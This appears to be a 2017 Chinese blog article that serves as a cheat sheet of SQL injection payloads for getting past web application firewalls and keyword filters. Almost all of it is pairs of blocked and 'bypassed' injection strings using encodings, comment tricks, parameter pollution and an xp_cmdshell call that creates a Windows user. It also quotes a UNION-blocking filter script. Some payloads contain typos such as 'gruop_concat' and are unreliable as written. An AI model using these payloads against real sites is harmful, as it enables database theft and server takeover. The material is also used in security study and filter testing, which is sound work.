關(guān)于SQL注入繞過的一些知識點
更新時間：2017年03月22日 09:22:36 作者：Joy_nick
網(wǎng)上關(guān)于SQL注入的繞過技巧有很多，最近正好空下來，想著整理下關(guān)于SQL注入繞過的一些姿勢。歡迎大牛補充，下面這篇文章主要介紹了關(guān)于SQL注入繞過的一些知識點，總結(jié)的還是相對比較全面的，需要的朋友可以參考下。
一、 繞過waf思路
從第一步起，一點一點去分析，然后繞過。
1、過濾 and,or
preg_match('/(and|or)/i', $id)
Filtered injection: 1 or 1 = 1 1 and 1 = 1
Bypassed injection: 1 || 1 = 1 1 && 1 = 1
2、過濾 and, or, union
preg_match('/(and|or|union)/i', $id)
Filtered injection: union select user, password from users
Bypassed injection: 1 || (select user from users where user_id = 1) = 'admin'
3、過濾 and, or, union, where
preg_match('/(and|or|union|where)/i', $id)
Filtered injection: 1 || (select user from users where user_id = 1) = 'admin'
Bypassed injection: 1 || (select user from users limit 1) = 'admin'
4、過濾 and, or, union, where, limit
preg_match('/(and|or|union|where|limit)/i', $id)
Filtered injection: 1 || (select user from users limit 1) = 'admin'
Bypassed injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
5、過濾 and, or, union, where, limit, group by
preg_match('/(and|or|union|where|limit|group by)/i', $id)
Filtered injection: 1 || (select user from users group by user_id having user_id = 1) = 'admin'
Bypassed injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users ) = 1
6、過濾 and, or, union, where, limit, group by, select
preg_match('/(and|or|union|where|limit|group by|select)/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || 1 = 1 into outfile 'result.txt'
Bypassed injection: 1 || substr(user,1,1) = 'a'
7、過濾 and, or, union, where, limit, group by, select, ‘
preg_match('/(and|or|union|where|limit|group by|select|\')/i', $id)
Filtered injection: 1 || (select substr(gruop_concat(user_id),1,1) user from users) = 1
Bypassed injection: 1 || user_id is not null
Bypassed injection: 1 || substr(user,1,1) = 0x61
Bypassed injection: 1 || substr(user,1,1) = unhex(61)
8、過濾 and, or, union, where, limit, group by, select, ‘, hex
preg_match('/(and|or|union|where|limit|group by|select|\'|hex)/i', $id)
Filtered injection: 1 || substr(user,1,1) = unhex(61)
Bypassed injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
9、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr)/i', $id)
Filtered injection: 1 || substr(user,1,1) = lower(conv(11,10,36))
Bypassed injection: 1 || lpad(user,7,1)
10、過濾 and, or, union, where, limit, group by, select, ‘, hex, substr, 空格
preg_match('/(and|or|union|where|limit|group by|select|\'|hex|substr|\s)/i', $id)
Filtered injection: 1 || lpad(user,7,1)
ypassed injection: 1%0b||%0blpad(user,7,1)
二、正則繞過
根據(jù)正則的的模糊匹配特性繞過，比如過濾了'='
filtered injection: 1 or 1 = 1
Bypassed injection: 1 or 1,1 or ‘1',1 or char(97)
eg: filtered injection: 1 union select 1, table_name from information_schema.tables where table_name = 'users' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 'a' and 'z' Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between char(97) and char(122) Bypassed injection: 1 union select 1, table_name from information_schema.tables where table_name between 0x61 and 0x7a Bypassed Injection: 1 union select 1, table_name from information_schema.tables where table_name like 0x7573657273
三、通用繞過
1.注釋符
?id=1+un//ion+se//lect+1,2,3–
2.大小寫
?id=1+UnIoN//SeLecT//1,2,3–
3.關(guān)鍵字替換
有些waf等使用preg_replace替換了SQL關(guān)鍵字
?id=1+UNunionION+SEselectLECT+1,2,3-- ?id=1+uni%0bon+se%0blect+1,2,3--
有時候注釋符'/**/‘可能被過濾，也可以使用%0b繞過
Forbidden: http://localhost/id/1/**/||/**/lpad(first_name,7,1).html Bypassed : http://localhost/id/1%0b||%0blpad(first_name,7,1).html
4.編碼
一個經(jīng)典的腳本：Nukesentinel.php
// Check for UNION attack
// Copyright 2004(c) Raven PHP Scripts
$blocker_row = $blocker_array[1];
if($blocker_row['activate'] > 0) {
if (stristr($nsnst_const['query_string'],'+union+') OR \
stristr($nsnst_const['query_string'],'%20union%20') OR \
stristr($nsnst_const['query_string'],'*/union/*') OR \
stristr($nsnst_const['query_string'],' union ') OR \
stristr($nsnst_const['query_string_base64'],'+union+') OR \
stristr($nsnst_const['query_string_base64'],'%20union%20') OR \
stristr($nsnst_const['query_string_base64'],'*/union/*') OR \
stristr($nsnst_const['query_string_base64'],' union ')) { // block_ip($blocker_row);
die("BLOCK IP 1 " );
}
}
Forbidden: http://localhost/php/?/**/union/**/select Bypassed : http://localhost/php/?/%2A%2A/union/%2A%2A/select Bypassed : http://localhost/php/?%2f**%2funion%2f**%2fselect
5.緩沖區(qū)溢出
http://localhost/news.php?id=1+and+(select 1)=(select 0xA*1000)+union+select+1,2,version(),database(),user(),6,7,8,9,10–
6.內(nèi)聯(lián)注釋(mysql)
http://localhost/news.php?id=1/*!UnIoN*/SeLecT+1,2,3-- http://localhost/news.php?id=/*!UnIoN*/+/*!SeLecT*/+1,2,concat(/*!table_name*/)+FrOm/*!information_schema*/.tables/*!WhErE*/+/*!TaBlE_sChEMa*/+like+database()--
四、高級繞過
1.HPP（http參數(shù)污染)
舉個例子：
index.php?par1=val1&par1=val2 | web server | par1 | | :— | :— | | ASP.NET/IIS | val1,val2 | | ASP/IIS | val1,val2 | | PHP/Apache | val2 | | JSP/Tomcat | val1 |
eg:
在ASP/ASP.NET的環(huán)境下
Forbidden: http://localhost/search.aspx?q=select name,password from users Bypassed : http://localhost/search.aspx?q=select name&q=password from users Bypassed : http://localhost/search.aspx?q=select/*&q=*/name&q=password/*&q=*/from/*&q=*/users Bypassed : http://localhost/news.aspx?id=1'; /*&id=1*/ EXEC /*&id=1*/ master..xp_cmdshell /*&id=1*/ net user test test /*&id=1*/ --
2.HPC(http參數(shù)污染)
RFC2396定義了如下一些字符：
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `
不同的Web服務(wù)器處理處理構(gòu)造得特殊請求時有不同的邏輯：
| Query String | Apache/2.2.16,PHP/5.3.3 | IIS6/ASP | | :— | :— | :— | | ?test[1=2 | test_1=2 | test[1=2 | | ?test=% | test=% | test= | | ?test%00=1 | test= | test=1 | | ?test=1%001 | NULL | test=1 | | ?test+d=1+2 | test_d=1 2 | test d=1 2 |
eg:
Forbidden: http://localhost/?xp_cmdshell Bypassed : http://localhost/?xp[cmdshell Forbidden: http://localhost/test.asp?file=../flag.txt Bypassed : http://localhost/test.asp?file=.%./flag.txt Forbidden: http://localhost/news.asp?id=10 and 1=0/(select top 1 table_name from information_schema.tables) Bypassed : http://localhost/news.asp?id=10 a%nd 1=0/(se%lect top 1 ta%ble_name fr%om info%rmation_schema.tables)
總結(jié)
以上就是關(guān)于sql注入繞過的技巧總結(jié)，希望本文的內(nèi)容對大家的學(xué)習(xí)或者工作能帶來一定的幫助，如果有疑問大家可以留言交流，謝謝大家對腳本之家的支持。
相關(guān)文章
在數(shù)據(jù)庫中如何高效的實現(xiàn)訂座功能
這篇文章主要給大家介紹了關(guān)于在數(shù)據(jù)庫中如何高效的實現(xiàn)訂座功能的相關(guān)資料，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2018-11-11
向postgresql中利用sql批量跟新記錄的實現(xiàn)代碼。2009-07-07
當數(shù)據(jù)庫變慢時，我們應(yīng)如何入手，下面的解決方法。2009-04-04
一款高顏值且免費的 SQL 開發(fā)工具之Beekeeper Studio詳解
今天給大家推薦一款適用于Windows，Linux和Mac的跨平臺免費的開源SQL編輯器和數(shù)據(jù)庫管理應(yīng)用程序 —— beekeeper-studio。對Beekeeper Studio 安裝使用教程感興趣的朋友一起看看吧2021-09-09
數(shù)據(jù)庫設(shè)計規(guī)范化的五個要求 推薦收藏
通常情況下，可以從兩個方面來判斷數(shù)據(jù)庫是否設(shè)計的比較規(guī)范。一是看看是否擁有大量的窄表，二是寬表的數(shù)量是否足夠的少。2011-04-04
這篇文章主要介紹了淺談數(shù)據(jù)庫事務(wù)四大特性，小編覺得挺不錯的，這里分享給大家，供需要的朋友參考。2017-10-10
這篇文章主要介紹了數(shù)據(jù)庫查詢排除重復(fù)記錄的方法,使用DISTINCT語句實現(xiàn),需要的朋友可以參考下2014-06-06
這篇文章主要介紹了mongoDB和mysql對比分析及選擇(詳細版),需要的朋友可以參考下2023-06-06
mysql exists或not exists語句用于子查詢,改語句只返回 TRUE 或 FALSE,下面這篇文章主要給大家介紹了關(guān)于sql中exists和not?exists用法的相關(guān)資料,文中通過實例代碼介紹的非常詳細,需要的朋友可以參考下2022-02-02
詳解Flink同步Kafka數(shù)據(jù)到ClickHouse分布式表
這篇文章主要為大家介紹了Flink同步Kafka數(shù)據(jù)到ClickHouse分布式表實現(xiàn)詳解，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進步，早日升職加薪2022-12-12